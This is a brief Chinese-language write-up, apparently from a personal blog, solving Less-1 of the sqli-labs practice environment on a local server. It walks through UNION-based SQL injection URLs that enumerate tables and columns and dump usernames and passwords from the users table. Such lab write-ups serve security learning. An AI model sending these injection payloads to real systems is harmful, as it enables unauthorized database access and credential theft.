JZTXT

sqli-lab less-1

发布时间 2023-10-10 16:17:25作者: dddon

尝试 http://127.0.0.1:88/Less-1/?id=1a
正常显示，判断为字符型注入

image

尝试union注入 http://127.0.0.1:88/Less-1/?id=1' union select 1,1,1%23 成功
image

查询表名 http://127.0.0.1:88/Less-1/?id=-1' union select 1,1,group_concat(table_name) from information_schema.tables where table_schema=database()%23

image

查询users中的列名 http://127.0.0.1:88/Less-1/?id=-1' union select 1,1,group_concat(column_name) from information_schema.columns where table_name='users'%23

image

union注入查询账密
http://127.0.0.1:88/Less-1/?id=-1' union select 1,1,group_concat(username,0x3a,password) from users %23

image